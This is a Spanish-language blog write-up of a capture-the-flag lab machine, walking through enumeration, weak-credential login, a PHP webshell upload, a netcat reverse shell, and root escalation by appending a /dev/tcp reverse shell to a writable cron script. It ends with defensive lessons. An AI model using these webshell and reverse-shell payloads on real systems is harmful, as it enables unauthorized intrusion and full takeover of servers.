El domingo 5 de abril se realizó un evento por el Día Internacional de la Mujer. Entre varias actividades, se llevó a cabo un taller de ciberseguridad. Y claro, me metí un rato de colado 😜.

El taller tenía como requisito contar con una máquina con Kali Linux. Por suerte, yo andaba con mi laptop y mi celular (que también tiene Kali, para más placer 💁‍♂️), así que pensé: ¡la hago! Pero para mi sorpresa, también se necesitaba una máquina virtual adicional (que luego un amigo me pasó). Como no la tenía en ese momento, tuve que salirme del taller.

No podía quedarme con la espinita de resolver esa máquina, así que, para quienes no pudieron asistir (y para quienes sí también), les cuento cómo la resolví, explicando todo desde cero. Go! Drayko! Go!

Reconocimiento y enumeración

El primer paso, y el más importante, es el reconocimiento. Es decir, entender qué máquina estamos atacando: ¿Cuál es su IP? ¿Qué servicios ofrece? ¿Qué configuraciones tiene? ¿¡Qué hago con mi vida?! Ok, eso no 😜

Para esto usamos nmap, una herramienta que permite escanear redes. Hice un escaneo simple para ver qué IP tenía la máquina virtual:

nmap 192.168.185.0/24

Con esto encontramos varias máquinas, pero la que nos interesa tiene la IP 192.168.185.128

Ya que tenemos la IP, probamos el servicio HTTP. Vamos a ver qué hay navegando a la IP, y luego hacemos fuzzing de directorios (enviar muchas rutas para ver cuáles existen). Para esto usamos gobuster con el diccionario directory-list-2.3-medium.txt :

gobuster dir -w directory-list-2.3-medium.txt -u http://192.168.185.128/

¡Y listo! Tenemos rutas interesantes. La que más llamó mi atención fue /monkey, que coincide con el nombre del archivo de la máquina virtual. Así que repetimos la enumeración, pero apuntando a esa ruta:

! gobuster dir -w directory-list-2.3-medium.txt -u http://192.168.185.128/monkey

Primer acceso - credenciales débiles

Este escaneo nos mostró nuevas rutas. La más llamativa es /monkey/admin, que parece un panel de administración. Probamos credenciales fáciles, como admin:admin… ¡y funcionó! 💁‍♂️

Segundo acceso - Credenciales por defecto

Ya dentro como administradores, encontramos una sección para gestionar estudiantes. Nos permite restablecer su contraseña y nos muestra cuál es la nueva; siempre la misma, por cierto.

En este punto me doy cuenta de que este reto es de HackerMentor, así que por respeto no compartiré públicamente el enlace directo de la máquina virtual, ya que puede ser parte de su material privado.

Usamos estas nuevas credenciales en la ruta /monkey y logramos ingresar como estudiante. Este panel nos deja actualizar la foto de perfil.

Ejecución de comandos - Webshell

Aquí intentamos subir un archivo que, aunque parezca una imagen, en realidad es código PHP. ¿Por qué PHP? Porque es el lenguaje que usa la aplicación, y queremos ejecutar comandos en el servidor. Esto se llama una webshell.

Subí un archivo muy simple con este contenido:

<?php system($_GET["cmd"]);?>

¿Y qué hace? Cualquier cosa que le pases por la URL como parámetro cmd, será ejecutada en el servidor. Este fue el resultado:

Ejecución de comandos - reverse shell

Ya podemos ejecutar comandos, pero queremos algo más cómodo: una terminal interactiva. Para eso, usamos una shell reversa, es decir, el servidor se conecta a nosotros. Enviamos el siguiente comando de netcat(nc) desde el navegador:

http://192.168.185.128/monkey/studentphoto/shell.php?cmd=nc%20192.168.185.1%205555%20-e%20%2Fbin%2Fsh

Mientras que en nuestra terminal usamos ncat pero para dejar un puerto a la escucha de la conexión que nos llegara del servidor al puerto 5555. Esto se vería así:

¡Listo! Ya tenemos una terminal remota. Navegamos por los archivos y encontramos uno interesante: config.php, ubicado en /var/www/html/monkey/includes.

Con este hallazgo obtenemos unas credenciales que usaremos en el servicio ssh que vimos al inicio con nmap(por eso es importante el reconocimiento y enumeración).

Ejecución de comandos - SSH

Con estas credenciales, nos conectamos por SSH y conseguimos una shell estable. Y con eso, ¡la primera bandera! 🏁 (un código disponible en un texto que nos puede llegar a demostrar que logramos acceso a un usuario con ciertos privilegios).

Pero aún no terminamos… ¡necesitamos acceso total! Necesitamos ser root.

Copiamos la herramienta linPEAS al servidor, la ejecutamos, y revisamos las posibles vulnerabilidades para escalar privilegios.

Una de las más claras es un archivo llamado backup.sh, que se ejecuta como tarea programada por el usuario root.

Escalación de privilegios - Mala gestión de permisos

Este archivo backup.sh puede ser editado por nuestro usuario (punto 1). Y vemos que modifica archivos con permisos de root, además de que se actualiza constantemente (punto 2).

Entonces editamos el archivo para añadir un comando que se ejecutara con permisos de root. El comando elegido para que ademas nos brinde permisos de elevados es algo que ya vimos antes, una shell reversa. Añadimos la linea:

/bin/sh -i >& /dev/tcp/192.168.185.1/4444 0>&1

Luego, en nuestra máquina dejamos el puerto 4444 a la escucha y… ¡tenemos shell con permisos de root! 🎉 Ya podemos acceder a la segunda bandera.

Conclusiones

¿Qué aprendimos de todo esto?

  • Credenciales débiles: Se usaban contraseñas fáciles, como admin:admin, y también en el restablecimiento de contraseñas. Es importante tener políticas de contraseñas más fuertes.
  • Falta de validaciones: El sistema no validaba que el archivo subido fuera una imagen. Siempre se deben validar todas las entradas del usuario.
  • Reutilización de credenciales: Las credenciales para la base de datos del sistema eran las mismas que las del usuario SSH. Nunca se deben reutilizar contraseñas entre distintos servicios.
  • Mala gestión de permisos: Un usuario de bajos privilegios podía modificar un archivo que se ejecutaba como root. Esto debe evitarse o gestionarse mejor.

Todo esto puede parecer de laboratorio, pero errores así también se ven en entornos reales. Por eso es importante aprender de ellos… Y en nuestro caso de aprendizaje, divertirnos en el proceso! 😄

-Hackers are people too 😜

Si tienes dudas o comentarios, ¡déjalos! ¿Qué te pareció este WriteUp? Noté que puede haber más de una forma de resolverlo. ¿Cómo lo lograste tú? 😄